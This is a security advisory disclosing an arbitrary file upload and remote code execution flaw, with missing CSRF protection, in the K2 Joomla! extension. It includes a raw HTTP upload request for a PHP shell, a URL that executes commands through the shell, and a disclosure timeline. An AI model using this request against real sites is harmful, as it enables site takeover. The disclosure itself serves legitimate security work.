K2 RCE via CSRF or WCI ###################### Information =========== Name: K2 Joomla! Extension 2.5.0 - 2.7.1 Software: K2 Platform: Joomla 3.6.2 Homepage: https://getk2.org/, http://extensions.joomla.org/extension/k2 Vulnerability: RCE, arbitrary file upload, missing CSRF protection Prerequisites: victim has to be authenticated user with administrator role CVE: pending Credit: Anti RA$?is HTML version: https://bitflipper.eu Product ======= K2 is a Joomla! extension for complete replacement of the default article system, which is used to edit the Joomla administration panel and the website. Description =========== The administrator panel of K2 suffers from arbitrary file upload which leads to arbitrary PHP code execution. An attacker could trick an administrator to upload a malicious file (PHP shell) and execute arbitrary PHP code using it. This functionality is available by default to users with administrator role (admin, super user), therefore limiting the attack surface to authenticated administrator users. The file upload functionality isn't protected by CSRF token, which makes it possible to exploit it by constructing a malicious request, which on execution exploits the vulnerability, while the victim visits the attacker controlled site. In addition, the attacker can use a WCI vulnerability on the site to exploit the arbitrary file upload vulnerability. Successful exploitation could lead to full site compromise. Proof of Concept ================ Presumption: attacker has access to Joomla administrator account; or uses an CSRF attack; or uses a WCI to upload a PHP shell and execute code. Let's presume the attacker has access to an account with file upload privilege. Files can be uploaded by using the K2 "Media manager" functionality. URL: http://victim.site/administrator/index.php?option=com_k2&view=media ==================== request ======================== POST /administrator/index.php?option=com_k2&view=media&task=connector HTTP/1.1 Host: victim.site Content-Length: 460 Origin: http://victim.site Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxyHoCnAa7sl8Av8n Cookie: sessionid=3m5hjeiuclg0hpeqz07yy2vn39hwlndk; csrftoken=e326M8wbFD4Z5fiQ89UajJIz9L3QK0w71ox3FvPiEVefZ6iPEBP162DLTVcp73D1; 9d4bb4a09f511681369671a08beff228=4chd10bifo542nu9cmlicee567; 7d0782cfab13fd2c5bf432df1a61714f=dr59cn2pmetrrphhg4an3rgsl2; 9f18fe26c0ec633377140bd52b70b80d=edvlrnur4a6pnk8r77jujrdtr0; joomla_user_state=logged_in; joomla_remember_me_f7811899bb3aee4b5b1c3a1f45a0a1a4=GZFvw90iVyObqNeS.pPmGLqZavgPnnwRqz3QW Connection: close ------WebKitFormBoundaryxyHoCnAa7sl8Av8n Content-Disposition: form-data; name="cmd" upload ------WebKitFormBoundaryxyHoCnAa7sl8Av8n Content-Disposition: form-data; name="target" l1_Lw ------WebKitFormBoundaryxyHoCnAa7sl8Av8n Content-Disposition: form-data; name="upload[]"; filename="sh.php" Content-Type: application/x-php
------WebKitFormBoundaryxyHoCnAa7sl8Av8n-- ==================== request end ==================== Parameter "target" specifies the "root" directory for the "Media manager" and is the same across installations (same version; not tested with older ones). PHP and other files starting with a dot (e.g ".htacces") are hidden, but are accessible directly. File is uploaded in the "images" folder and can be directly accessed. URL to execute PHP shell: http://victim.site/images/sh.php?x=ls%20-lah Timeline ======== * 06.08.2016 | me > developer | vulnerability discovered and initial contact * 08.08.2016 | me > developer | sent the report to the developers * 10.08.2016 | developer > me | issue acknowledged * 10.08.2016 | me > DWF | CVE request - no response * 11.08.2016 | developer > me | inadequate fix: update elFinder plugin; responded with bypass * 12.08.2016 | developer > me | inadequate fix: changed elFinder plugin configuration * 15.08.2016 | me > developer | responded with bypass * 17.08.2016 | developer > me | inadequate fix: added CSRF protection * 17.08.2016 | me > developer | responded with PoC#2 which uses WCI to exploit RCE * 25.08.2016 | me > developer | asked for fix timeline * 26.08.2016 | developer > me | responded with time estimation * 27.08.2016 | me > developer | reminded that target site is exploitable when combined with WCI vulnerability * 20.09.2016 | me > developer | no patch available; contacted developer about the release status - no feedback * 11.10.2016 | me > developer | no patch available; contacted developer about the progress - no feedback * 19.11.2016 | me > public | full disclosure --- Anti RA$?is Blog: https://bitflipper.eu Pentester at http://www.clarifiedsecurity.com